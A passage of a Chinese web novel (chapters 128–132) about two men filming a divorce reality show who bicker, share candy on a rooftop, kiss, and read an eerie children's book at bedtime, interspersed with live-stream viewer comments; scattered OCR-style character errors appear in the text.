末了,他还夸一句,“时先生画技真好,对伴侣刻画得很贴切。“时蔺川伸手接过,半晌才道:“谢了。”黎焕笑了笑,又问:“我们以前见过吗?感觉时先生对我的态度似乎不是太陌生,不像是第一次见面的陌生人?时川简洁明了地道:“你想多了。”闻言,黎焕点点头,不置可否。然而在点头的过程中,他忽然警见男人裸!露在外的脚背泛着几点不正常的红,但这个季节基本杜绝了蚊虫叮咬的情况本着医者职责,黎焕追问道:“时先生,你这有点像是过敏初期的症状,是否感觉到有哪里不舒服?"时蔺川循着他的视线往下看了一眼,随口应了声,“没事,就是被螃蟹夹了几下。我习惯了。黎焕脸上的微笑凝固一秒。”?" 夜风吹过来。 嘶,有点冷。 两人面对面默默无言,如开场那般,还是黎唤先开了口,“嗯,我要转交的东西就是这些了,也是正好顺路.….那没什么事的话,我就先告辞了。 在男人转身之前,时蔺川忽然开口。 "等-下。” 回到楼上。 遗失的线索卡片、碘伏棉签、以及预防感冒发烧的瓶装药水,他弯着腰将这些东西放到床头柜上,正巧撞见一双眼睛藏在被子里盯着他。时蔺川单手开门,另一只手里塞满了东西一 “出来。时蔺川直起身,冲着降起的被子唤了一声,谢景和掀开被子,刚从床上坐起来,就见男人用下巴示意了一下床头柜上的几样东西,随即淡声道:"你那个医生送过来的,先把感冒药喝了,再涂药。谢景和:“?" 他有点奇怪:“什么叫''你那个医生’?人家是节目组的医生,我跟人家又不熟。 说完,他又把那只包着纱布的右手怼到时蔺川面前,抿唇不说话,两只脚习惯性地踩到男人的脚背上。 时蔺川撇开脸,拎起那瓶药液,一扭。 他一手捏着拧下来的盖子,另一手把感冒药往谢景和面前送去,本来是想让谢景和自己拿着喝,不成想这人直接把嘴巴凑过来,怼在瓶口边缘,然后干等着他喂时蔺川:“自己喝。谢景和晃了一下自己受伤的手。时蔺川没好气地道:“另一只不是好好的吗?”谢景和又不说话了。时蔺川:“….烦死了。"等谢景和喝完药,时蔺川将屋子里的固定摄像头遮盖起来,示意他脱衣服,用最快的速度给人涂完了药,反手掀起被子,直接把他整个人蒙住,仿佛恶作剧一般,谢景和在被子里悉悉索索地穿好了衣服,又坐起身来,冷不丁看到躺在柜子上的卡片,这才发现自己弄丢了线索。完成任务后,他光顾着等人了,压根没想起来这张卡片 谢景和捏起卡片,看了两眼,继而拾眸望向男人收拾着垃圾的熟悉背影,突然道:“蔺川,我都不知道你还会画画。 时蔺川头也不回,应道:“你不知道的事情多了去了。" 身后,谢景和的声音又响起,“你把我画得很像,是把我的样子都记在脑子里了吗?" "是山紧接着,谢景和思量片刻,继续点评道:“不过你好像对自己有点误解,画得不太像,我都有点不太敢认.….时蔺川不想纠缠这个话题,转回身,后腰靠在椅背处,却还是忍不住多问了一句,“哪里不太像?"谢景和没吭声,只是将卡片往床头柜上一放,随后举起完好的那只手,大拇指与食指放在两侧嘴角,将其往下扯,做出一个坏表情,就着这个坏表情应道:“你是这样的。时蔺川:“” 模仿得居然有几分像。 所以说,这不是没瞎么。 空气安静几秒。 做着鬼脸的谢景和慢慢放下手,嘴角的弧度没有勾回来,时蔺川发现他的眼眶里一点点蓄起湿音一却仍旧故作轻松道:“跟我在一起,是不是真的让你很不开心啊?" “所以你今天一直都不肯来。 时蔺川看着他,骤然想起自己在观察室里看到的最后一回面。 夕阳垂死。 谢景和身后的天快要烧尽了。 他频频回头,频频失望,可还是站在那里,呼出来的气是白色的。 他也是白色的。 倏然间,时蔺川又想起年少时看过的一本书,是芥川龙之介的《罗生门》,里面有一句话让他格外厌恶——撒谎是人类本性,在多数时间里,我们甚至不能对自己诚实。 因为说得很对,所以分外讨厌。 但今天是个特殊的日子。 时蔺川难得决定对自己诚实一回,于是他缓步朝坐在床边的谢景和走去,将人横抱在大腿上,宛如抱着年幼的孩子那般,轻声耳语道: "因为,” 太开心了啊。 129、Chapter 129 诚实是一项好品质,但时蔺川鲜少对外展示——不仅如此,他甚至很少对自己诚实。大概是因为诚实的代价是 ''看清自己的内心’ ,而他并不愿意注视那个被蒙上厚厚一层灰尘的地方, 他知道那里是什么样子的。 在遇到谢景和之前,他就已经是这个样子了。 屋里安静了好半晌。 像是冷场。 也确实是冷场。 时面川说完那句话就后悔了,恨不能时光国流,让自己把那句话重新吃进去,办或是封住谢景和的耳朵,叫他什么也听不见….但非常遗憾的是,怀里的人显然听得一清二楚,神情证公片刻后,有些路然的服眸骤然爆发出巨大的光亮! 像两盏探照灯一样,晃人眼。 啧。快要瞎了。 时萑川突然感到脸上一阵烫,仿佛光感过敏了一般,还是急症,两颊嗖地一下就烧起来了。他忍不住撒过脸,猛地站起身来,想把谢景和往被子里塞,再独自出门吹吹冷风,降降温 早知道,就找那谁要一支过敏药了。 动作间, 时蔺川有些懊恼地想着。 岂料谢景和似乎看出了他的意图,打死不肯配合,整个人疯狂挣扎扑腾,好似一只搁浅的大白鲨,全身力气都聚集在尾部. 时蔺川被两条腿锁着腰,怎么撕都撕不下来。 "放开!"“不要!你又要去哪里?"跟这只吃了兴奋剂的大白鲨僵持了将近十分钟,时蔺川最终还是败下阵来,气喘吁吁地悬在谢景和上空,一只手撑在枕边,另一只手掐着他的小腿,仍不死心地做着无用功。谢景和也不遑多让,累得面庞烧红,活像是跑了一场马拉松。大冬天。 两人洗完澡,又出了一身汗。 谢景和估摸是太热了,眼眶里的湿意早就蒸发了,反而脑门渗出细密的汗珠,鼻尖办然,微微反着光。他目光炯地盯着身上之人,没受伤的一只手紧攥着男人的领口,宛如一道保险绳 ".…别走,你给我翻译一下。” 时蔺川此时穿着一件加绒毛衣,版型宽松,圆形领口被他扯出一个歪歪捏捏的大洞,陡峭的锁骨之下,是一件贴身的男式工字背心,勾勒着男人的肌块线条,很好看。 “翻译什么?" 时蔺川臭着脸,不懂装懂地问。 谢景和以为他真的没听懂,抿了一下唇,完整地阐述了一遍,“就是你刚才说''太开心了’,意思是跟我在一起,你有觉得开心对吧?而且还是非常开心。 话音刚落。 时蔺川下意识地摆出一副"耳朵脏了’的表情 谢景和见着这幅有些扭曲,像是见了鬼的表情,却忍不住抿着唇窃笑,继续道:“我倒数三个数,如果你不说话,那就是默认了。 “好,我开始数了,三, 趁人刚做了个“ 的口音,声音还在嗓子里,身体松懈之际,时川猛地挠了一下谢景和的脚心,感受到卡在腰间的力道消失后,他第一时间就扭头往门外冲。 酷似突发恶疾。 然而,他还是没成功。因为谢景和松了腿,却没撒手,直接光脚踩到地上,被他带着一同往门外冲。由于惯性问题,两个人砰的一声闯出门去,差点刹不住车撞到墙上,并且姿势格外引人遐想。并不是暖昧意义上的遐想。门外,走廊处。节目组的工作人员与跟拍师前后站着,目瞪口呆地看着男人们面红耳赤地纠缠在一处,其中一人还恶狠狠地揪着另一人的领口,被揪住衣服的人脸色很差,气压低得像是八级风暴的前夕。工作人员:"” 跟拍师:"…两位离婚嘉宾是趁没有跟拍在场的时候,打起来了吗?空气寂静了好几秒。但直播间的气氛已经热起来了【卧槽节目组导播太会切镜头了,每次切到午时组,都是超级刺激的场面!这俩儿打起来了?看样子好像是影帝先动的手??】【应该是因为下午那个等人环节吧?虽然素人哥最后过去了,但影帝可是实打实地在风里站了好几个小时啊】【“来了就好。”[狗头]】【还我感动.….当时那段双人快切镜头实在太有fee!了,尤其是搭配两人交错的呼吸声,莫名觉得很心酸,有种沉甸甸的感觉。结果几个小时后,镜头一切,你俩打起来了?!![扶额】【隔壁两组,要么抱一起哭,要么坐在一起聊自己的近年境况,就这俩儿画风突变,魔性得很,跟坐过山车一样】【马上就要十点了,等待一个红绿灯。】【哈哈哈哈哈哈两个人默默松手,一起转身往屋子里走的样子好好笑,素人哥的领子都被扯歪了,嘶哈,有点性感啊!】【好激烈。】【嗯??好像哪里怪怪的,再看一眼。】[为什么屋子里的固定摄像头都被遮挡起来了?之前直播间的镜头给到其他嘉宾的时候,这俩儿到底在干什么啊?节目组会把这部分剪出来吗?只有音频也行的,有点好奇。】【我嚓,眼好尖,真的都遮起来了!】【跟拍的镜头扫到了床,床单被子乱糟糟的,我猜测他们可能是一路从床上打到了走廊,忘情忘我,忘了时间,最后被跟拍镜头撞了个正着。】【不是,你这个打架’正经吗??】【应该是真打,素人哥脸巨臭,还撇过头,看都不看影帝一眼。】【何止是臭啊,都气红了。】 【 晚上十点,这天的直播如期落下序幕。 在工作人员的提醒下,时川将遮挡物取了下来,尽管此时已是非直播时间段,但剪辑版会加入大量未握秘片段,以便吸引观众观看,所以更需要积零嘉宾素材了 今晚的按灯结果,还是一红一绿。 时蔺川红,谢景和绿。 跟昨天的情况别无二致。 只是碍于先前那场激烈的拉扯,谢景和现在压根没心思纠结按灯结果,他像个小尾巴一样跟在男人身后,甩也甩不开。 卫生间狭窄,两个大男人挤在里面格外拥挤。 仿佛连氧气都变得稀薄了。 时蔺川坐在小马扎上,脚边放了一个装满热水的盆,里面放着他跟谢景和的贴身衣物。他的两只手浸在水中搓洗布料,搅动时发出哗啦哗啦的水声。 谢景和蹲在他的对面,目不转睛地看着他,完好的那只手也泡在水里帮着一起洗,手指头却时不时勾到他的。 不像是来帮忙的。 倒像是来添乱的,或者是来要流氓的。 不小心瞥见对面谢景和一脸欲言又止的表情,时蔺川简直烦躁得浑身冒黑气,手下的动作愈发月 就在这时候。 谢景和突然站起来,把卫生间的门锁上了。 时蔺川:“ 又干什么,怕他跑吗? 下一秒。 谢景和又蹲了回来,那只湿漉漉的手又伸进水里,醉翁之意不在酒地打着圈儿,在水盆里搅出一个小小的漩涡,游涡隐隐传来一阵吸力,想要将他的手指也卷进去。 倏然间。他听到谢景和很小声地问,“蔺川,你刚才,” “闭嘴。 "是不是害羞了?" 时蔺川被人造谣,勃然大怒! 130、Chapter 130 天台, 风在周旋 只遮蔽了小半区域的铁皮盖子被它一下下敲响,时不时发出哪哪的噪音,仿佛已经不堪其扰。铁皮底下横了一根晾衣绳,刚被挂上去的衣服湿流流的,被夜风刮得来回摇晃,用出几滴水像是下雨了。时蔺川好不容易才甩开尾巴,独自上了天台。晾完衣服,他没急着下楼休息,而是找了个固定摄像头无法涉及的角落,掏出了裤兜里的烟盒和打火机。 “咔嚓。"时蔺川叼着烟,一手挡在脸前,另一手拨动打火机橘黄色的火苗从气口进溅出来,分割着光与影,将男人的五官雕琢得更立体英俊,眉眼间的霜雪气息被焰色消融少许,让他看上去不那么冷冰冰的了。自从洗过澡后,时蔺川就没戴眼镜了。其实这具身体的度数很浅,一点也不妨碍他进行日常活动,除非进行文书阅读或驾驶等事项,对视力有比较精准的要求于是, 这一刻。 暖融融的颜色没了屏障,跳进了男人的眸中。 好似深海里的金沙,闪闪烁烁。 穹顶黑暗,月亮懒洋洋地躺在乌云里。时蔺川仰头望月,脸上残存的温度被皎柔冰凉的月光压下来,与此同时,灰白的烟从他衔着烟的唇缝里溢出来,无声无息地消散在夜色中 跟谢景和无关。 只因为诚实的代价往往让人心生难堪,他当然也不例外,时川如此想着,余光忽然管见天台铁门处多了一道身影,上身鼓鼓囊囊,裹着一件不属于他的厚衣服,慢慢朝这里靠近。 是那条尾巴找过来了。 借着铁皮顶盖下那盏昏黄灯泡的照明,时蔺川瞥见他的臂弯里夹着一条罍成方块状的棉绒围巾,花纹与样式看上去并不陌生。 谢景和默不作声地走过来,拾手将那条围中抖落开来,然后一圈圈地绕到他的脖子上,最后一把夺过他唇间的半支烟,自己猛吸了一口。 烟头长亮了好几秒,才转为黯淡。 尼古丁的味道远了,时蔺川嗅到颈间的围中散发着淡淡的熏香味,是他们家常用的衣物柔顺剂的芬香,正一个劲儿地往他鼻子里钻. 恼人得很。 谢景和也是。 时蔺川目视前方,眺望着被黑暗笼罩的村庄与树影,耳边是夜风摇荡世间万物的声音,他却觉得此刻实在是太安静了,安静到让人想要发出点声音,打破这股黏腻的氛围。于是,他随口说了句, “少管闲事,我又不冷。” 谢景和不知道男人在看什么,只是跟着往前看。隔了几秒,他的指尖轻弹,将烟灰抖落,忽然小声应道“有一种冷,叫做你老婆觉得你冷。实际上,两人在日常生活中很少用到老公’''老婆”这组称呼代词,只有当初热恋期和新婚期那段时间比较频繁使用,其他时间大部分都是喊名字 毕竟他们年纪都不小了。 一个三十出头,另一个正奔三 时蔺川仔细想了想,发现上次谢景和这么喊自己,都是半年前的事情了-那时候他仍在维持着温柔人设,一边将谢景和抱在身上。,一边思考自己什么时候失业,比较有戏剧性,想入了迷,动作变得缓慢而轻浅宛如隔靴搔痒,不到点上。磨人得很。想着想着,时蔺川拾手捋了一把额发,就听到怀中人带着微仪的哭腔,凑到他耳边,小声喊他“老公”,哀求他给个痛快,别这样不轻不重地折腾,叫人不上也不下。谢景和是个很英俊的男人。 这是外界公认的事实。 但只有时蔺川知道尽管谢景和恋慕男人,且身处下位,但他的言行举止并不会让人觉得阴柔,唯独在自己怀里时,他会变得很软,还有点娇,说话也带着淡淡的撒娇味儿。仿佛口腔里藏着糖果,语调被染上三分甜。 就在这时候。身边传来嘶啦一声异响。时蔺川的思绪被打断,下意识地循声望过去,发现谢景和不知道什么时候抽完了烟,冷不丁从兜里掏出了一包彩虹糖.他单手攥着包装袋,尖牙在塑料袋的锯齿边缘一咬,干脆利落地斯开一个角,然后将巴掌大的袋子往时蔺川面前一递,问:“吃吗?"时蔺川:“. 在这一个月的录制周期内,节目组不仅无情收走了他们的手机,还禁止他们在行程中使用自己的货币,更是限制了嘉宾在行李中夹带零食饮料。 他没想到谢景和居然阴奉阳违,私藏了糖果。 思量几秒后,时蔺川直接将整个袋了薅了过来,随手抖出来几粒涂满了色素的糖果,扔进了嘴巴里,咔吧咔吧地嚼碎吞下去,齁甜。真难吃。 谢景和侧头看着他,“给我吃一颗。时蔺川:“吃屁,等下就去举报你。听到这话,谢景和不慌不忙,慢吞吞地说:“这是给你买的,现在也是你一个人在吃,跟我有什么关系?"时蔺川冷哼一声,当即从袋子里捏出一颗蓝莓味的扁圆糖粒,作势要往他嘴巴里塞然而,当谢景和压下心中暗喜,提前张开嘴巴的时候,却见男人捏着糖的手从自己面前一晃而过,骨感的腕打了个弯,糖果便从他指尖飞出,于半空中划过一道弧线掉到了男人自己的嘴巴里。时蔺川完全抛开了自小培养的进食礼仪,把小小一粒脆皮软が糖嚼出了它本不该有的动静,在发现谢景和的表情有些无语,还得意地嗤笑道:“以为我要喂你?少自作多情了。谢景和:“……"真幼稚。话音刚落,他就看到男人的喉结上下滚了滚,显然是将嘴里的东西咽了个干净,同时又从袋子里倒出一粒柠檬味的黄色糖果,语气不屑地道:“算了,给你吃一个,张嘴。谢景和怀疑地瞥了他一眼,但还是张嘴了。也信?可厂 谢景和:“ 拳头都快硬了。 仗着现在两人身上都没有收音设备,也不在天台固定摄像头的拍摄范围内,谢景和板着脸,往男人身边迈了一步,断然回怼道:“那不然呢?我的智力要是不正常,你早就得铁窗泪了。"他的脸拉得老长。 时蔺川警了他一眼,忽然道:“好吧,这次真的给你吃一个。阵寒风刮过来,谢景和忍不住缩了缩着脖子,他扭头睨着遥远的夜景,不去看身边的坏蛋,格外清醒地嘟了一句, “肯定又在骗我。” 时蔺川果断道:“不吃算了。 谢景和张开嘴巴。 时蔺川:“咔吧咔吧。” 谢景和忍无可忍,往男人小腿上踢了一脚。 时蔺川不闪躲,挨了一脚仍旧面不改色,整个人跟柱子一样稳稳站着,老神在在地复述道:“说你蠢,你还不信。 谢景和不服气,两眼冒火地瞪人。 时蔺川迎着他气势汹汹的目光,淡定嚼糖果,手指在塑料口袋里进进出出,揉出一阵悉索的声响,莫名加深了男人的挑衅意味. 谢景和就这么瞪了好几分钟。 身后的灯光照亮半个天台,但范围有限。 当光晕蔓延到两人所站立的角落时,它已经变得很微弱了,只剩下一丝丝黯淡的余温,极其顽固地与笼罩整个世界的夜影做对抗. 男人的大部分面容陷入冷色调的阴影中,但轮廓边缘蹭上了一层很浅的暖色调,对比温和却抢眼。 谢景和陡然发觉 时蔺川的嘴角勾起了一抹很淡的笑- 很微弱,跟那抹余光一样微弱,但它切切实实地存在着,盘踞在男人的唇边,以至于那双冰冷的狭长眼也变得生动了许多。 幼稚、纯真、如青少年一般浅显。 就好像是对方被剥夺了的某段岁月,逆流时光,静悄悄地拂过了他的脸;更像是被男人深深掩埋的某些情感,破开了坚硬的外壳,颤颤类巍地伸出了脆弱的嫩芽。 不知怎地,谢景和突然觉得眼睛有些酸胀。 他忙不迭地收回视线,低头调整呼吸的节奏,准备管理好表情再抬头. 然而,下一瞬。 颗脑袋冷不丁从旁边钻到谢景和的脸下,仿佛昨日重现。紧接着,谢景和就听男人的嘴巴一边发出咔吧咔吧的清脆声响,一边用很欠揍的语气问询道 ◎ 复制成功 复制成功 “这就气哭了?" 两张面孔挨得很近。 糖果的甜味弥散开来。 说话时, 复制成功是柠檬味。酸酸甜甜,诱得人口齿生津。男人看到他的表情,微微一愣,但表情很快恢复了淡然模样,随即从袋子里掏出一粒糖,抵在谢景和的唇间, “不玩你了,吃吧。”谢景和当然没有哭。但他也没有吃唇边这颗糖。他只是低下头,猛地亲了时蔺川一口,舌尖十分灵巧地钻进男人的口腔巡视了一圈,成功抢过半粒糖。外边的糖皮被内壁的高温融化了少许,露出里头的软芯,甜味更加浓郁。谢景和:“咔吧咔吧。 时蔺川:“ 131、Chapter 131 时蔺川不喜欢吃糖,更何况是这种廉价的色素与糖精的化合物,但谢景和尤为青睐。两人一起逛生活超市的时候,他总是要拽两包放到购物车里,眼巴巴地让自己给他买。然而,事后他却屡屡嘟囔着,“好像没有小时候的那种味道了”说完, 他还要往自己嘴里塞两粒,反问道:“蔺川,你觉得呢?老实说,除了人工糖精味,时蔺川并不知道他说的“那种味道”还能是什么味道,或许是因为自己在年幼时没有接触过这种廉价零食,所以无法通过大脑滤镜去加以美化、升华。那时候,自己好像只是状态似温柔地抚摸了一下谢景和的脸,随口应付道:“不喜欢吃就别吃了,小心牙疼。 而这时候。 时蔺川的喉咙咽了咽,随手将空掉的塑料袋揉成一团,原模原样地塞回它的来处谢景和的外套口袋里,然后万分嫌弃地点评道:“真难吃,不知道你为什么老是要买这种东西,有钱还是吃点好的吧。 谢景和全程只抢到半粒糖。固体物早已消弭于他的唇舌尖,仅余下一丝回甘。他循着男人的动作低头看了眼自己被当做垃圾桶的口袋,又抬头望向男人半隐在暗处的侧脸,牛头不对马嘴地应了声,“这是你的衣服。"闻言,时蔺川从善如流地质问:“那你为什么要穿我的衣服?你就没有自己的衣服吗?" 谢景和:"" 怎么突然拐到这里了? 算了。 谢景和不纠结,很老实地说了真心话,“我觉得你的衣服好像比我的更保暖,而且还有一股香香的味道。 听到后面那几个字,时蔺川脸上的表情突然变得有些难以言喻,忍不住用看异食癖的眼神,警了一眼身边的人。 不是第一次了。 谢景和经常夸他''香香的’。 时蔺川不喜欢用香水。 起初,他以为这人对家里洗衣剂或是香氛的味道情有独钟,因此每次听到谢景和这么说,时蔺川就会不动声色地换掉那个味道 可是不管他怎么更换,对方都会持之以恒、且由衷地发出同样的感叹。 时蔺川有一天终于忍不住了,反问他自己身上到底有什么味道? 谢景和却说,他也不知道。 但就是香香的。 …真的是,非常没有逻辑的一句话。 对于时蔺川来说,谢景和这种人实在太难理解了,他对自己喜爱的东西抱有极其深厚的滤镜 就算觉得糖果的味道不再似小时候那般美味了,他还是会买:就算发现结婚三年的丈夫拥有两副面孔,从始至终都在欺骗自己,他还是不肯退却。 颇有种''不撞南墙不回头,撞了还想继续撞’的即视感。 讨厌的程度之深切,已近乎"怨恨" 时蔺川常常在想, 为什么这个世界会有这么碍眼的人?还偏偏要出现在自己眼前,让他多看一眼都觉得心烦厌恶,却又无法摆脱 幸好最后一个离婚任务就快要结束了。 时蔺川已经迫不及待地想要逃离这个有谢景和存在的世界了。 夜更深,天台上的风力更大。 倏然间,时蔺川的余光忽然闯进了一道人影。谢景和一点点蹭了过来,挤压着他的站位空间,还很不要脸地邀请他 “这个角度好像拍不到我们,所以.” “要来接个吻吗?" 时蔺川扭脸盯着他,看了好一会儿,看得谢景和缩了缩脖子,默默移开了视线,假装沉迷于远方那片压根看不清的山海夜色,仿佛自己方才什么都没有说。 见状,时蔺川忍不住问他, “谢景和,你是在装纯吗? “说话。" 男人轻飘飘两个字,谢景和只好偏回脑袋,继续看着他,同时小声应道:"…是有点害羞,好像才刚开始跟你谈恋爱。 在说什么东西? 谢景和这种生物,果然是没办法理解的。 何况时蔺川现在听不得“害羞“两个字,当即应激地掉头就走,听到身后很快跟上的脚步声之后,他的步子越迈越大,到最后就快要飞跑起来了。 谢景和在后面追。 两人一路咚咚咚地跑下楼,发出震天响。 风擦过男人的脸,撩起他的额前碎发,吹得他眼球格外干燥。时蔺川只好眯起眼睛,随后一个急转弯跑进卧室门内,紧接着反锁了卫生间的门, 谢景和慢了一步,被他关在门外。 卫生间里一片昏暗。 空间狭窄,还残留着先前两人沐浴后的湿气 时蔺川一个人呆在里面,忽然听到外面传来一声"咔’的声音,头顶那盖不怎么明亮的灯就亮起来了, 他拾头看了眼,视线不经意扫过对面钉在墙上的简陋镜子,瞧见镜中人的脸上有一抹很陌生的微笑,嘴角轻轻提,每一块肌肉都放松,真情实意到让人作呕 真恶心。 时蔺川拉下脸,张开嘴巴,露出一条被染成蓝色的舌头。 男人很久没出来。 谢暑和丛在床护学 会儿,没等到人,闲着没事干便将屋子收松了一- 1A3 单于吹交路有点慢,正好消基时日, 收拾到一半,他发现自己居然不自觉地哼起了歌。 谢景和忍不住警了一眼卫生间紧缩的门,顺手掏出口袋里皱成一团的糖果塑料袋。 不知道为什么。 他有些舍不得把它往垃圾桶里扔,便放在大腿上捋平折痕,又拎起椅子上的书包,在里面翻找起来。 把它夹在剧本里吧,当书签。 谢景和心情愉悦地想着由于节目组提前告知嘉宾会收走手机,所以乐言建议他挑选几本感兴趣的邀约剧本打印出来,旅途中偶尔还能拿出来几眼。当时,乐言是这么说的:“谢哥,你在看剧本的时候最聪明了。 难道他平时不聪明吗? 不过节目录制已经进行到第三天,除了第一天拍摄先导片的时候翻过两页,谢景和就再也没有关注过它们了。 满心满眼都是那个人。 就在这时候。 谢景和探入书包夹层的指尖触碰到了某样东西。 不同于用透明文件夹和拉杆固定的打印剧本,它的外壳很硬,但摸起来很薄. 谢景和捏住边角,将之抽出来一看一 是一本书。 名为《王子的魔法咒语》谢景和很快得出结论:大概是乐言塞进来的睡前读物。它的硬壳封面很有质感,背景是一片黑与蓝色调的森林荆棘,尖刺缠绕扭曲,像是会吓哭小孩的黑暗|童话。好在书名充满了童趣,应该是治愈幻想类故事。这本书实在太薄了,内页大概不超过二十页,谢景和觉得自己不用一分钟把它就能从头翻到尾。然而,当他准备翻开封面的时候,忽然听到卫生间的方向传来一声响… 老久的木门被拉开了。 男人从里面走出来。 他洗过脸,额发有些湿。 时蔺川认认真真地刷了五分钟牙,才勉强将嘴里那股人的甜压下去,还顺道洗了个脸当然了。他没能刷掉舌头上的蓝色色素,所以他的舌头仍旧像是从阿凡达人身上移植过来的。 他忽略了屋里某个人落在自己身上的视线,直直往床头柜走去,拎起今早喝剩了一半的矿泉水,一口饮尽了。 还没咽下去,他就听谢景和冷不丁开口问道:“蔺川,现在时间不早了,我们是不是该上床休息了?”时间确实不早了。时蔺川不知道这个人又要干什么,只是下意识地扭头警了他一眼,便见谢景和扬了扬手上的书册,嘴角微翘地对自己说:“要不要我给你读睡前故事?"时蔺川无语地撇过脸, “你当我是小孩?" 又是送糖果,又是读睡前故事的。 时蔺川实在不想搭理他,但自从听到自己说出“开心”那两个字之后,谢景和就表现得异常亢奋,活像是追求人的小男生,比寻常时候更加缠人,压根听不懂拒绝 或者说,听懂了也没用。 时蔺川平直地躺在床上,眼睛被黑色眼罩遮住。而谢景和不知道在干什么,发出一连串悉悉索索的声音,过了几分钟才爬上床,凑到他耳边小声地问:“我开始讲了?时蔺川不耐烦地拉高被子, “嘴巴长在你身上,关我什么事啊。” 下一秒。 他就听见谢景和轻轻咳嗽两声,随即是一道纸页摩擦的细微声响,再然后便是对方清润明朗的嗓音。“某天深夜里,荆棘深处的王国,有一位王子诞生了”真丝眼罩柔软顺滑,内衬是遮光材质。时蔺川戴着它,仿佛被剥夺了视力,其他感官却得以增强 尤其是听觉。 谢景和的音色条件很好。 作为演员,他早年还专门找台词老师训练过自己的吐字和语调,念起故事娓娓道来,引人入胜。 时蔺川偶尔会帮他对剧本。 ….那时候的谢景和,看起来跟平时很不一样。 “但他并不是国王唯一的孩子。“ 此时此刻。 谢景和正靠坐在床头,膝盖弯起来,正好把绘本摊在大腿上,竖直地正对着自己。 书册里的插图也正对着他。 童话风的文字,童话风的插画-小小的王子站在画面中央,四周围绕着一众兄弟姐妹。每一个人的脸上都摆着夸张的笑脸,眼睛却是猩红色的,宛如狼犬一般紧盯着王子,仿佛想要将他扑咬至死 啪的一声!谢景和合上书:“蔺川,这好像是儿童邪典,要不然我们还是直接睡吧…?"话音刚落。 男人一把扯下眼罩,掀开眼皮,冷冰冰地瞪了过来 132、Chapter 132 像谢景和这种出尔反尔的行为,在他看来是十足的讨人嫌,且让人不屑的。时蔺川自认是个有始有终的人,一旦开始某件事,就不允许它在自己手中无疾而终当然了。这并不意味着他有多想要谢景和给自己讲故事, 毕竟在过往二十多年中,从来没有人给他讲过睡前故事,可他还不是好端端地活到了现在?时蔺川在脑中理性分析,从善如流地无视了系统的聒噪碎碎念,“宿主,要不是我,你坟头草都三米高了诶!"系统像个被冷落了多年的祥林嫂,絮絮叨叨,老话重提“所以说,你不要老是把人家看作对你别有所图的邪恶系统嘛,放下不必要的戒备和冷落,我可以拿时空书局的未来命运发誓!本系统绝对是个好统!时蔺川:“呵。 这些天两人远离了市区,一入夜,整个世界都安静下来了,没有灯火阑现,也没有车马流龙的喧闹。由于天气太冷的缘故,连虫鸣鸟叫都鲜少听闻。 屋子里更是安静。 谢景和顶着男人宛如寒芒一般的眼神,又听他骤然冷呵出声,本以为自己会忍不住心生惶恐,担忧对方生气或是冷落自己 然而,他现在只体会到一股很微妙的情绪。 这情绪不能简单地归类于正负面,而是更加复杂的感觉。 谢景和沉思片刻,才将它与早前自己从男人嘴里拾过的那半粒柠檬味糖果的味道联系起来-一是甜,是酸,是温柔成熟的男人居然还有这样的一面,而他如今才得以窥见 是蹉跎。 时蔺川单手扯着眼罩,蓦然警见谢景和的睫毛飞快颤动着,而后垂首看向自己,那双深邃的眼里藏着万丈波澜,山呼海啸般涌来,。 似乎要将他淹没。 “我还什么都没说,你别随地大小哭啊,”时蔺川轻轻啧了声,先声夺人道,“省得全世界都以为我怎么你了。 谢景和不知道该怎么阐述自己的心情,沉默几秒,他忽然举起书册挡住自己的脸,低声控诉道:“谁让你之前都不肯亲我。 时蔺川不耐烦地翻了个白眼。 "你还在想这个?"谢景和:“不行吗?"时灌川的视线警过那本被他举在脸前的单薄书册,停留不到一秒钟的时间,随即满脸不爽地将黑色眼罩扯到脖颈间,紧接着又把身上的被子掀过头顶,以手臂为支点,瞬间搭起了一个小小的圆帐。大概只能容纳两个脑袋。 男人一身休闲睡衣,领口因平躺的姿势而歪扭着,露出半截陡峭笔直的锁骨,喉结那圈位置被黑色眼罩所束缚,显得格外性感冬日棉被很厚重,隔绝了头顶灯光,也阻断了固定摄像头的视线。 时蔺川躺在被子里,冷脸瞪他。他什么都没说,谢景和藏在被子里的脚趾就忍不住蜷了起来,踩着床单轻轻磨蹭了两下,然后果断将绘本往枕头底下一塞,整个人缩进被子里,跟男人紧紧相贴。两人都侧躺着,挤在同一个枕头上。时蔺川跟谢景和脸挨着脸,鼻尖抵在一处。他调整了一下角度,让两人稍稍错开角度,同时也拉近了跟对方的距离时蔺川冷冷地吐出两个字。 “张嘴。” 听到这熟悉的两个字,谢景和思绪恍惚,瞬间忆起了一个月前在男人办公室发生的事,可他还来不及心痛,就被没耐心的男人拾手捏住了鼻子,被迫张开嘴巴呼吸。 条舌闯了进来。 所有氧气被它吸光,所有空间被它占据。 谢景和觉得白己快要飘起来,又觉得白己似乎被沉入深海,将死未死,身家性命就在男人的一念之间。 可是,好舒服啊这是一个很长、很长的吻。就在谢景和的脸因缺氧而越张越红,不自觉地伸手攥紧自己的领口之际,时川方才收回霸道放肆的舌,手却没有放开,而是施施然地往他嘴里渡了一口气。感受到领口的力道放松了两分,他投桃报李似的也松了手,顺道退远几厘米,开始观赏谢景和此刻被自己吻到失神的表情-一眼尾微微泛着红,双眼半睁,眸子没有焦点,呼吸又慢又长。时蔺川转而掐他的下巴,大拇指紧扣,虎口贴住升温的肌肤,另外四指在谢景和的脸侧轻轻敲了几下。 “醒醒,傻掉了?"约莫两分钟后。这人的呼吸终于平复,眼神也缓慢聚焦。时蔺川陡然发现,谢景和又用以前经常出现的那种迷恋目光凝望着自己,其程度有过不及,甚至偏过脸,一下下地啄吻着他的手指,神情带着让人无法忽略的痴醉良久。 他低声耳语:“蔺川,我好像醉气了。说完,他迫不及待地补充了一句,“好舒服。"时蔺川沉默两秒,表情有些一言难尽,压在枕头里的耳朵被闷得有些发热。他忍了忍,实在忍不住,语气复杂地道:"谢景和,我发觉你多少是有点变态了。谢景和被男人这么说,却没有被对方贬低的感觉,反而面颊极速升温,不自觉地了,压低音量,含糊道:“都是你把我变成这样的。“”少污蔑人了。" 掰扯了几句,时蔺川干脆卡着谢景和的下巴,把他推出了被子,让外头的冷空帮他降温,自己则恢复成仰躺的睡姿,还将黑色眼罩重新戴上了。 最后,男人还拉了拉被子,一副要睡了的模样。 谢景和恋恋不舍地坐起来,可发了许久的呆,身上那股热还是消不下去。这时候,他恍然想起枕头下的童话书,便又将它抽出来,翻开方才读过的那一页,继续念起来 插画中。 国王衣着华贵,手握权杖端坐于金灿灿的王座之上,同时展开双臂对下座的众人宣告道: [只有最优秀的孩子能够继承我无穷无尽的财富与权柄,失败者将被我驱逐。」 众人窃窃私语,眼神贪婪。 